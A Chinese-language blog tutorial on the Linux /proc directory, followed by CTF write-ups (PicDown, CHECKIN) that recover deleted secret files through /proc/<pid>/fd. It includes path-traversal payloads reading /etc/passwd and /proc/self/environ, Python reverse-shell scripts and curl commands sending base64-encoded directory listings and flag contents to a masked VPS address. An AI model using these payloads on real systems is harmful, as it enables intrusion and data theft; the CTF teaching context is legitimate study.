Linux中/proc/目录的学习
2021/4/27 7:25:13
本文主要是介绍Linux中/proc/目录的学习,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
站在巨人们的肩膀上进行的学习
文章目录
- cmdline
- cwd
- exe
- environ
- fd
- /proc/self
- [网鼎杯 2020 白虎组]PicDown
- Python反弹shell
- curl带出数据
- [V&N2020 公开赛]CHECKIN
- 1. 通配符
- 2.`lsof`命令
- 3.`python`命令
- 参考
- environ:表示为该程序所设置的环境变量。
- maps:列出了进程所使用的库,有点长。。
- status:包含了进程状态一般信息(text格式)
- stat和statm:以一连串数字的形式提供进程内存消耗的信息
- fd:文件夹内有一连串数字文件,表示文件描述符,都是符号链接,链接到对应的文件。
- cwd:是个符号链接,对应到工作目录
- exe:是个符号链接,对应到可执行二进制文件
- root:指向当前进程根目录
/proc
目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件:
ls -al /proc
ps
命令查找与进程相关的PID号:
ps a
:显示现行终端机下的所有程序,包括其他用户的程序。
cmdline
这个文件给出了内核启动的命令。它和用于进程的cmdline项非常相似。
cat /proc/1536/cmdline
可知PID为1536的进程的启动命令为/usr/bin/zsh
。
cwd
是个符号链接,对应到指定进程的工作(运行)目录
ls -al /proc/1536/cwd
可见PID为1536的进程的运行目录为/
,然后可以通过ls
命令读出此进程的运行目录:
ls /proc/1536/cwd
exe
这是个目录,指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径:
ls -al /proc/1536/exe
environ
当前进程的环境变量列表文件,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示;
cat /proc/1536/environ
fd
这是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor
),这些文件描述符是指向实际文件的一个符号链接;
Linux文件描述符
:可以理解为Linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
例如Python中,当我们open()
函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()
函数便是读取文件描述符中的内容,close()
函数用于关闭/销毁这个文件描述符。
文件描述符储存在:
/proc/<pid>/fd/<id>
即每个通过这个进程打开的文件都会显示在fd
目录中。所以我们可以通过fd
目录里的文件获得指定进程所打开的每个文件的路径以及文件内容。
查看指定进程打开的某个文件的路径:
ls -al /proc/1536/fd
查看指定进程打开的某个文件(id为4)的内容
ls -al /proc/1070/fd/4
这个fd比较重要,因为在 linux 系统中,如果一个程序用
open()
打开了一个文件但最终没有关闭它
,即便从外部(如os.remove(SECRET_FILE)
)删除
这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符
,通过这个文件描述符我们即可得到被删除文件的内容
。
/proc/self
/proc/self
表示当前进程目录
为了更方便的获取本进程的信息,Linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/本进程pid/
。进程可以通过访问/proc/self/
目录来获取自己的系统信息,而不用每次都获取pid。
1.获取当前进程的启动命令:
cat /proc/self/cmdline
2.获取目标当前进程环境的运行目录与目录里的文件:
ls -al /proc/self/cwd ls /proc/self/cwd
当不知道目标网站的Web路径或当前路径时,这经常使用
3.获得当前进程的可执行文件的完整路径:
ls -al /proc/self/exe
4.获取当前进程的环境变量信息:
cat /proc/self/environ
5.获取当前进程打开的文件内容:
cat /proc/self/fd/{id}
连接:
net start sshd ssh -p 25112 root@node3.buuoj.cn
[网鼎杯 2020 白虎组]PicDown
在URL处有个文件读取:
/page?url=../../../../etc/passwd
可以尝试读取一下根目录文件,猜测flag文件
/page?url=../../../../flag
发现真有flag文件。当然这绝对不是预期解法
一般要尝试访问一下/proc/self
目录
/page?url=../../../../proc/self/cmdline /page?url=../../../../proc/self/environ
访问cmdline文件时返回一个
发现是python环境,读取一下app.py文件:
/page?url=../../../../app.py
from flask import Flask, Response from flask import render_template from flask import request import os import urllib app = Flask(__name__) SECRET_FILE = "/tmp/secret.txt" f = open(SECRET_FILE) SECRET_KEY = f.read().strip() os.remove(SECRET_FILE) #删除文件 @app.route('/') def index(): return render_template('search.html') @app.route('/page') def page(): url = request.args.get("url") try: if not url.lower().startswith("file"): res = urllib.urlopen(url) value = res.read() response = Response(value, mimetype='application/octet-stream') response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg' return response else: value = "HACK ERROR!" except: value = "SOMETHING WRONG!" return render_template('search.html', res=value) @app.route('/no_one_know_the_manager') def manager(): key = request.args.get("key") print(SECRET_KEY) if key == SECRET_KEY: shell = request.args.get("shell") os.system(shell) res = "ok" else: res = "Wrong Key!" return res if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)
分析一下:/tmp/secret.txt
下有一个KEY,需要这个KEY才能到/no_one_know_the_manager
网页下执行system命令
但是直接访问/tmp/secret.txt
返回空,因为os.remove(SECRET_FILE)
这个函数删除了文件,但这么删除会留下文件描述符在内存中,考察了利用文件描述符读取文件
linux有下面的特性,系统中如果一个程序打开了一个文件没有关闭,即便从外部(如
os.remove(SECRET_FILE)
)删除之后,在/proc
这个进程的pid
目录下的fd
文件描述符目录下还是会有这个文件的fd
,通过这个我们即可得到被删除文件的内容。
因为具体这个文件的进程是多少不知道,需要爆破一下:
得到key以后就去执行命令了,但执行一下会发现是没有回显的!这时候需要带外数据了
Python反弹shell
Python反弹shell的脚本:
import socket,subprocess,os s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接 s.connect(("192.168.1.12",7111))#你要回shell的机子 os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/sh","-i"])
python -c
可以在命令行中调用 python 代码, 实际上 -c 就是 command 的意思
类似于php -r
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('119.xxx.xxx.xxx',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
curl带出数据
不反弹shell,还有通过curL带出数据的:
curl http://119.xxx.xxx.xxx/`ls / |base64` curl http://119.xxx.xxx.xxx/`cat /f* |base64`
这里用base64是因为日志中只能看到第一行的内容,而原本的内容是有多行的,所以我们将结果base64编码成一行
VPS上查看日志文件:/var/log/httpd/access.log
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
[V&N2020 公开赛]CHECKIN
这题可以直接连接自己的VPS,不用听题目的开个内网靶机
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
还是一样的问题,直接就删除了文件,但是会留下文件操作符,一样给了个system函数,继续通过python反弹shell,但这里有个坑是执行环境只有python3而不是python了
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.xxx.xxx.xxx",7000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
连上以后要寻找文件了,可以一个个试出来,但还是总结一下大佬们的寻找方式有三种(就看到三种):
1. 通配符
这个简单易上手
cat /proc/*/fd/*
2.lsof
命令
列出活跃进程的所有打开文件
lsof
但是这题环境没有安装这个命令
3.python
命令
有python环境就可用pyhton来查询:
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/3') for i in range(20)];" 狠一点的话 python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/'+str(j)) for i in range(20) for j in range(10)];"
参考
Proc 目录在 CTF 中的妙用
/proc文件与/etc文件
Linux的/proc/self/学习 ++ CTF例题
这篇关于Linux中/proc/目录的学习的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-06-0600-macOS和Linux安装和管理多个Python版本
- 2024-03-30[译]漫画SELinux概念
- 2024-03-29linux 移动文件
- 2024-03-28linux .so file
- 2024-03-28Linux 磁盘管理
- 2024-03-28Linux学习笔记(十三)磁盘管理(一):磁盘分区
- 2024-03-26linux 创建 文件
- 2024-03-25使用SecureCRT对Linux vim进行颜色设置
- 2024-03-202019-2020-12 20199317 《Linux内核原理与分析》 第十二周作业
- 2024-03-20Linux运维的第二周总结